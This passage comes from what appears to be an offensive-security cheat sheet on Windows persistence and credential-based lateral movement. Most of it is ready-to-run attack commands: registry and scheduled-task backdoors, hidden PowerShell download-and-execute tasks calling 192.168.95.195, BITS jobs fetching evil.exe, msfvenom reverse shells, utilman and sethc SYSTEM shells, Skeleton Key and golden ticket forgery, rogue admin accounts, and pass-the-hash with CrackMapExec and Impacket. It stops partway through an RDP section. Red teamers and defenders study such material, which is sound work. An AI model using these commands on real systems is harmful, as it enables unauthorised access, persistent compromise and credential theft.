reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
```
Using SharPersist
```powershell
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
```
### Startup
Create a batch script in the user startup folder.
```powershell
PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat
start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
```
Using SharPersist
```powershell
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
```
### Scheduled Tasks User
* Using native **schtask** - Create a new task
```powershell
# Create the scheduled tasks to run once at 00.00
schtasks /create /sc ONCE /st 00:00 /tn "Device-Synchronize" /tr C:\Temp\revshell.exe
# Force run it now !
schtasks /run /tn "Device-Synchronize"
```
* Using native **schtask** - Leverage the `schtasks /change` command to modify existing scheduled tasks
```powershell
# Launch an executable by calling the ShellExec_RunDLL function.
SCHTASKS /Change /tn "\Microsoft\Windows\PLA\Server Manager Performance Monitor" /TR "C:\windows\system32\rundll32.exe SHELL32.DLL,ShellExec_RunDLLA C:\windows\system32\msiexec.exe /Z c:\programdata\S-1-5-18.dat" /RL HIGHEST /RU "" /ENABLE
```
* Using Powershell
```powershell
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
PS C:\> $S = New-ScheduledTaskSettingsSet
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
```
* Using SharPersist
```powershell
# Add to a current scheduled task
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
# Add new task
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
```
### BITS Jobs
```powershell
bitsadmin /create backdoor
bitsadmin /addfile backdoor "http://10.10.10.10/evil.exe" "C:\tmp\evil.exe"
# v1
bitsadmin /SetNotifyCmdLine backdoor C:\tmp\evil.exe NUL
bitsadmin /SetMinRetryDelay "backdoor" 60
bitsadmin /resume backdoor
# v2 - exploit/multi/script/web_delivery
bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.10.10.10:8080/FHXSd9.sct scrobj.dll"
bitsadmin /resume backdoor
```
## Serviceland
### IIS
IIS Raid Backdooring IIS Using Native Modules
```powershell
$ git clone https://github.com/0x09AL/IIS-Raid
$ python iis_controller.py --url http://192.168.1.11/ --password SIMPLEPASS
C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module Name /image:"%windir%\System32\inetsrv\IIS-Backdoor.dll" /add:true
```
### Windows Service
Using SharPersist
```powershell
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
```
## Elevated
### Registry HKLM
Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.
```powershell
Value name: Backdoor
Value data: C:\Windows\Temp\backdoor.exe
```
Using the command line
```powershell
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
```
#### Winlogon Helper DLL
> Run executable during Windows logon
```powershell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe > evilbinary.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll > evilbinary.dll
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, evilbinary.exe" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, evilbinary.exe" /f
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, evilbinary.exe" -Force
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, evilbinary.exe" -Force
```
#### GlobalFlag
> Run executable after notepad is killed
```powershell
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"
```
### Startup Elevated
Create a batch script in the user startup folder.
```powershell
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
```
### Services Elevated
Create a service that will start automatically or on-demand.
```powershell
# Powershell
New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here." -StartupType Automatic
sc start pentestlab
# SharPersist
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c backdoor.exe" -n "Backdoor" -m add
# sc
sc create Backdoor binpath= "cmd.exe /k C:\temp\backdoor.exe" start="auto" obj="LocalSystem"
sc start Backdoor
```
### Scheduled Tasks Elevated
Scheduled Task to run as SYSTEM, everyday at 9am or on a specific day.
> Processes spawned as scheduled tasks have taskeng.exe process as their parent
```powershell
# Powershell
$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\backdoor.exe"
$T = New-ScheduledTaskTrigger -Daily -At 9am
# OR
$T = New-ScheduledTaskTrigger -Daily -At "9/30/2020 11:05:00 AM"
$P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
$S = New-ScheduledTaskSettingsSet
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
Register-ScheduledTask "Backdoor" -InputObject $D
# Native schtasks
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr C:\tools\shell.cmd /ru "SYSTEM"
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr calc /ru "SYSTEM" /s dc-mantvydas /u user /p password
schtasks /Create /RU "NT AUTHORITY\SYSTEM" /tn [TaskName] /tr "regsvr32.exe -s \"C:\Users\*\AppData\Local\Temp\[payload].dll\"" /SC ONCE /Z /ST [Time] /ET [Time]
##(X86) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
##(X86) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
##(X86) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
##(X64) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
##(X64) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
##(X64) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
```
### Windows Management Instrumentation Event Subscription
> An adversary can use Windows Management Instrumentation (WMI) to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.
* **__EventFilter**: Trigger (new process, failed logon etc.)
* **EventConsumer**: Perform Action (execute payload etc.)
* **__FilterToConsumerBinding**: Binds Filter and Consumer Classes
```ps1
# Using CMD : Execute a binary 60 seconds after Windows started
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="WMIPersist", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="WMIPersist", ExecutablePath="C:\Windows\System32\binary.exe",CommandLineTemplate="C:\Windows\System32\binary.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"WMIPersist\"", Consumer="CommandLineEventConsumer.Name=\"WMIPersist\""
# Remove it
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='WMIPersist'" | Remove-WmiObject -Verbose
# Using Powershell (deploy)
$FilterArgs = @{name='WMIPersist'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 60 AND TargetInstance.SystemUpTime < 90"};
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs
$ConsumerArgs = @{name='WMIPersist'; CommandLineTemplate="$($Env:SystemRoot)\System32\binary.exe";}
$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs
$FilterToConsumerArgs = @{Filter = [Ref] $Filter; Consumer = [Ref] $Consumer;}
$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
# Using Powershell (remove)
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'WMIPersist'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'WMIPersist'"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject
```
### Binary Replacement
#### Binary Replacement on Windows XP+
| Feature | Executable |
|---------------------|---------------------------------------|
| Sticky Keys | C:\Windows\System32\sethc.exe |
| Accessibility Menu | C:\Windows\System32\utilman.exe |
| On-Screen Keyboard | C:\Windows\System32\osk.exe |
| Magnifier | C:\Windows\System32\Magnify.exe |
| Narrator | C:\Windows\System32\Narrator.exe |
| Display Switcher | C:\Windows\System32\DisplaySwitch.exe |
| App Switcher | C:\Windows\System32\AtBroker.exe |
In Metasploit : `use post/windows/manage/sticky_keys`
#### Binary Replacement on Windows 10+
Exploit a DLL hijacking vulnerability in the On-Screen Keyboard **osk.exe** executable.
Create a malicious **HID.dll** in `C:\Program Files\Common Files\microsoft shared\ink\HID.dll`.
### RDP Backdoor
#### utilman.exe
At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM.
```powershell
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
```
#### sethc.exe
Hit F5 a bunch of times when you are at the RDP login screen.
```powershell
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
```
### Remote Desktop Services Shadowing
:warning: FreeRDP and rdesktop don't support Remote Desktop Services Shadowing feature.
Requirements:
* RDP must be running
```powershell
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 4
# 4 View Session without users permission.
# Allowing remote connections to this computer
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# Disable UAC remote restriction
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
mstsc /v:{ADDRESS} /shadow:{SESSION_ID} /noconsentprompt /prompt
# /v parameter lets specify the {ADDRESS} value that is an IP address or a hostname of a remote host;
# /shadow parameter is used to specify the {SESSION_ID} value that is a shadowees session ID;
# /noconsentprompt parameter allows to bypass a shadowees permission and shadow their session without their consent;
# /prompt parameter is used to specify a users credentials to connect to a remote host.
```
### Skeleton Key
> Inject a master password into the LSASS process of a Domain Controller.
Requirements:
* Domain Administrator (SeDebugPrivilege) or `NTAUTHORITY\SYSTEM`
```powershell
# Execute the skeleton key attack
mimikatz "privilege::debug" "misc::skeleton"
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DCs FQDN>
# Access using the password "mimikatz"
Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator
```
### Virtual Machines
> Based on the Shadow Bunny technique.
```ps1
# download virtualbox
Invoke-WebRequest "https://download.virtualbox.org/virtualbox/6.1.8/VirtualBox-6.1.8-137981-Win.exe" -OutFile $env:TEMP\VirtualBox-6.1.8-137981-Win.exe
# perform a silent install and avoid creating desktop and quick launch icons
VirtualBox-6.0.14-133895-Win.exe --silent --ignore-reboot --msiparams VBOX_INSTALLDESKTOPSHORTCUT=0,VBOX_INSTALLQUICKLAUNCHSHORTCUT=0
# in \Program Files\Oracle\VirtualBox\VBoxManage.exe
# Disabling notifications
.\VBoxManage.exe setextradata global GUI/SuppressMessages "all"
# Download the Virtual machine disk
Copy-Item \\smbserver\images\shadowbunny.vhd $env:USERPROFILE\VirtualBox\IT Recovery\shadowbunny.vhd
# Create a new VM
$vmname = "IT Recovery"
.\VBoxManage.exe createvm --name $vmname --ostype "Ubuntu" --register
# Add a network card in NAT mode
.\VBoxManage.exe modifyvm $vmname --ioapic on # required for 64bit
.\VBoxManage.exe modifyvm $vmname --memory 1024 --vram 128
.\VBoxManage.exe modifyvm $vmname --nic1 nat
.\VBoxManage.exe modifyvm $vmname --audio none
.\VBoxManage.exe modifyvm $vmname --graphicscontroller vmsvga
.\VBoxManage.exe modifyvm $vmname --description "Shadowbunny"
# Mount the VHD file
.\VBoxManage.exe storagectl $vmname -name "SATA Controller" -add sata
.\VBoxManage.exe storageattach $vmname -comment "Shadowbunny Disk" -storagectl "SATA Controller" -type hdd -medium "$env:USERPROFILE\VirtualBox VMs\IT Recovery\shadowbunny.vhd" -port 0
# Start the VM
.\VBoxManage.exe startvm $vmname type headless
# optional - adding a shared folder
# require: VirtualBox Guest Additions
.\VBoxManage.exe sharedfolder add $vmname -name shadow_c -hostpath c:\ -automount
# then mount the folder in the VM
sudo mkdir /mnt/c
sudo mount -t vboxsf shadow_c /mnt/c
```
### Windows Subsystem for Linux
```ps1
# List and install online packages
wsl --list --online
wsl --install -d kali-linux
# Use a local package
wsl --set-default-version 2
curl.exe --insecure -L -o debian.appx https://aka.ms/wsl-debian-gnulinux
Add-AppxPackage .\debian.appx
# Run the machine as root
wsl kali-linux --user root
```
## Domain
### User Certificate
```ps1
# Request a certificate for the User template
.\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:User
# Convert the certificate for Rubeus
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# Request a TGT using the certificate
.\Rubeus.exe asktgt /user:username /certificate:C:\Temp\cert.pfx /password:Passw0rd123!
```
### Golden Certificate
> Require elevated privileges in the Active Directory, or on the ADCS machine
* Export CA as p12 file: `certsrv.msc` > `Right Click` > `Back up CA...`
* Alternative 1: Using Mimikatz you can extract the certificate as PFX/DER
```ps1
privilege::debug
crypto::capi
crypto::cng
crypto::certificates /systemstore:local_machine /store:my /export
```
* Alternative 2: Using SharpDPAPI, then convert the certificate: `openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx`
* [ForgeCert](https://github.com/GhostPack/ForgeCert) - Forge a certificate for any active domain user using the CA certificate
```ps1
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName harry@lab.local --NewCertPath harry.pfx --NewCertPassword Password123
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName DC$@lab.local --NewCertPath dc.pfx --NewCertPassword Password123
```
* Finally you can request a TGT using the Certificate
```ps1
Rubeus.exe asktgt /user:ron /certificate:harry.pfx /password:Password123
```
### Golden Ticket
> Forge a Golden ticket using Mimikatz
```ps1
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt
```
### LAPS Persistence
To prevent a machine to update its LAPS password, it is possible to set the update date in the futur.
```ps1
Set-DomainObject -Identity <target_machine> -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
```
## References
* [Windows Persistence Commands - Pwn Wiki](http://pwnwiki.io/#!persistence/windows/index.md)
* [SharPersist Windows Persistence Toolkit in C - Brett Hawkins](http://www.youtube.com/watch?v=K7o9RSVyazo)
* [IIS Raid Backdooring IIS Using Native Modules - 19/02/2020](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/)
* [Old Tricks Are Always Useful: Exploiting Arbitrary File Writes with Accessibility Tools - Apr 27, 2020 - @phraaaaaaa](https://iwantmore.pizza/posts/arbitrary-write-accessibility-tools.html)
* [Persistence - Checklist - @netbiosX](https://github.com/netbiosX/Checklists/blob/master/Persistence.md)
* [Persistence Winlogon Helper DLL - @netbiosX](https://pentestlab.blog/2020/01/14/persistence-winlogon-helper-dll/)
* [Persistence - BITS Jobs - @netbiosX](https://pentestlab.blog/2019/10/30/persistence-bits-jobs/)
* [Persistence Image File Execution Options Injection - @netbiosX](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)
* [Persistence Registry Run Keys - @netbiosX](https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/)
* [Golden Certificate - NOVEMBER 15, 2021](https://pentestlab.blog/2021/11/15/golden-certificate/)
* [Beware of the Shadowbunny - Using virtual machines to persist and evade detections - Sep 23, 2020 - wunderwuzzi](https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/)
* [Persistence via WMI Event Subscription - Elastic Security Solution](https://www.elastic.co/guide/en/security/current/persistence-via-wmi-event-subscription.html)

View File

@ -0,0 +1,394 @@
# Windows - Using credentials
## Summary
* [Get credentials](#get-credentials)
* [Create your credential](#create-your-credential)
* [Guest Credential](#guest-credential)
* [Retail Credential](#retail-credential)
* [Sandbox Credential](#sandbox-credential)
* [Crackmapexec](#crackmapexec)
* [Impacket](#impacket)
* [PSExec](#psexec)
* [WMIExec](#wmiexec)
* [SMBExec](#smbexec)
* [RDP Remote Desktop Protocol](#rdp-remote-desktop-protocol)
* [Powershell Remoting Protocol](#powershell-remoting-protocol)
* [Powershell Credentials](#powershell-credentials)
* [Powershell PSSESSION](#powershell-pssession)
* [Powershell Secure String](#powershell-secure-strings)
* [SSH Protocol](#ssh-protocol)
* [WinRM Protocol](#winrm-protocol)
* [WMI Protocol](#wmi-protocol)
* [Other methods](#other-methods)
* [PsExec - Sysinternal](#psexec-sysinternal)
* [Mount a remote share](#mount-a-remote-share)
* [Run as another user](#run-as-another-user)
## Get credentials
### Create your credential
```powershell
net user hacker Hcker_12345678* /add /Y
net localgroup administrators hacker /add
net localgroup "Remote Desktop Users" hacker /add # RDP access
net localgroup "Backup Operators" hacker /add # Full access to files
net group "Domain Admins" hacker /add /domain
# enable a domain user account
net user hacker /ACTIVE:YES /domain
# prevent users from changing their password
net user username /Passwordchg:No
# prevent the password to expire
net user hacker /Expires:Never
# create a machine account (not shown in net users)
net user /add evilbob$ evilpassword
# homoglyph Aԁmіnistratοr (different of Administrator)
Aԁmіnistratοr
```
Some info about your user
```powershell
net user /dom
net user /domain
```
### Guest Credential
By default every Windows machine comes with a Guest account, its default password is empty.
```powershell
Username: Guest
Password: [EMPTY]
NT Hash: 31d6cfe0d16ae931b73c59d7e0c089c0
```
### Retail Credential
Retail Credential [@m8urnett on Twitter](https://twitter.com/m8urnett/status/1003835660380172289)
when you run Windows in retail demo mode, it creates a user named Darrin DeYoung and an admin RetailAdmin
```powershell
Username: RetailAdmin
Password: trs10
```
### Sandbox Credential
WDAGUtilityAccount - [@never_released on Twitter](https://twitter.com/never_released/status/1081569133844676608)
Starting with Windows 10 version 1709 (Fall Creators Update), it is part of Windows Defender Application Guard
```powershell
\\windowssandbox
Username: wdagutilityaccount
Password: pw123
```
## Crackmapexec
Using [mpgn/CrackMapExec](https://github.com/mpgn/CrackMapExec)
* CrackMapExec supports many protocols
```powershell
crackmapexec ldap 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
crackmapexec mssql 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
crackmapexec rdp 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
crackmapexec smb 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
crackmapexec winrm 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
```
* CrackMapExec works with password, NT hash and Kerberos authentication
```powershell
crackmapexec smb 192.168.1.100 -u Administrator -p "Password123?" # Password
crackmapexec smb 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" # NT Hash
export KRB5CCNAME=/tmp/kerberos/admin.ccache; crackmapexec smb 192.168.1.100 -u admin --use-kcache # Kerberos
```
## Impacket
From [fortra/impacket](https://github.com/fortra/impacket) (:warning: renamed to impacket-xxxxx in Kali)
:warning: `get` / `put` for wmiexec, psexec, smbexec, and dcomexec are changing to `lget` and `lput`.
:warning: French characters might not be correctly displayed on your output, use `-codec ibm850` to fix this.
:warning: By default, Impacket's scripts are stored in the examples folder: `impacket/examples/psexec.py`.
All Impacket's *exec scripts are not equal, they will target services hosted on multiples ports.
The following table summarize the port used by each scripts.
| Method | Port Used | Admin Required |
|-------------|---------------------------------------|----------------|
| psexec.py | tcp/445 | Yes |
| smbexec.py | tcp/445 | No |
| atexec.py | tcp/445 | No |
| dcomexec.py | tcp/135, tcp/445, tcp/49751 (DCOM) | No |
| wmiexec.py | tcp/135, tcp/445, tcp/50911 (Winmgmt) | Yes |
* `psexec`: equivalent of Windows PSEXEC using RemComSvc binary.
```ps1
psexec.py DOMAIN/username:password@10.10.10.10
```
* `smbexec`: a similar approach to PSEXEC w/o using RemComSvc
```ps1
smbexec.py DOMAIN/username:password@10.10.10.10
```
* `atexec`: executes a command on the target machine through the Task Scheduler service and returns the output of the executed command.
```ps1
atexec.py DOMAIN/username:password@10.10.10.10
```
* `dcomexec`: a semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints
```ps1
dcomexec.py DOMAIN/username:password@10.10.10.10
```
* `wmiexec`: a semi-interactive shell, used through Windows Management Instrumentation. First it uses ports tcp/135 and tcp/445, and ultimately it communicates with the Winmgmt Windows service over dynamically allocated high port such as tcp/50911.
```ps1
wmiexec.py DOMAIN/username:password@10.10.10.10
wmiexec.py DOMAIN/username@10.10.10.10 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
```
To allow Non-RID 500 local admin accounts performing Wmi or PsExec, execute:
`reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /f /d 1`
To prevent RID 500 from being able to WmiExec or PsExec, execute:
`reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v FilterAdministratorToken /t REG_DWORD /f /d 1`
### PSExec
Instead of uploading `psexeccsv` service binary, it uploads to `ADMIN$` a service binary with an arbitrary name.
PSExec default [kavika13/RemCom](https://github.com/kavika13/RemCom) binary is 10 years old, you might want to rebuild it and obfuscate it to reduce detections ([snovvcrash/RemComObf.sh](https://gist.github.com/snovvcrash/123945e8f06c7182769846265637fedb))
Use a custom binary and service name with : `psexec.py Administrator:Password123@IP -service-name customservicename -remote-binary-name custombin.exe`
Also a custom file can be specified with the parameter : `-file /tmp/RemComSvcCustom.exe`.
You need to update the pipe name to match "Custom_communication" in the line 163
```py
162 tid = s.connectTree('IPC$')
163 fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f)
```
Alternatively you can use the fork [ThePorgs/impacket](https://github.com/ThePorgs/impacket/pull/3/files).
### WMIExec
Use a non default share `-share SHARE` to write the output to reduce the detection.
By default this command is executed : `cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__RANDOM 2>&1`
### SMBExec
It creates a service with the name `BTOBTO` ([smbexec.py#L59](https://github.com/fortra/impacket/blob/master/examples/smbexec.py#L59)) and transfers commands from the attacker in a bat file in `%TEMP/execute.bat` ([smbexec.py#L56](https://github.com/fortra/impacket/blob/master/examples/smbexec.py#L56)).
```py
OUTPUT_FILENAME = '__output'
BATCH_FILENAME = 'execute.bat'
SMBSERVER_DIR = '__tmp'
DUMMY_SHARE = 'TMP'
SERVICE_NAME = 'BTOBTO'
```
It will create a new service every time we execute a command. It will also generate an Event 7045.
By default this command is executed: `%COMSPEC% /Q /c echo dir > \\127.0.0.1\C$\__output 2>&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat`, where `%COMSPEC%` points to `C:\WINDOWS\system32\cmd.exe`.
```py
class RemoteShell(cmd.Cmd):
def __init__(self, share, rpc, mode, serviceName, shell_type):
cmd.Cmd.__init__(self)
self.__share = share
self.__mode = mode
self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME
self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
self.__outputBuffer = b''
self.__command = ''
self.__shell = '%COMSPEC% /Q /c '
self.__shell_type = shell_type
self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc '
self.__serviceName = serviceName
```
## RDP Remote Desktop Protocol
:warning: **NOTE**: You may need to enable RDP and disable NLA and fix CredSSP errors.
```powershell
# Enable RDP
PS C:\> reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
PS C:\> netsh firewall set service remoteadmin enable
PS C:\> netsh firewall set service remotedesktop enable
# Alternative
C:\> psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
root@payload$ crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
# Fix CredSSP errors
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
# Disable NLA
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").UserAuthenticationRequired
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)
```
Abuse RDP protocol to execute commands remotely with the following commands;
* `rdesktop`
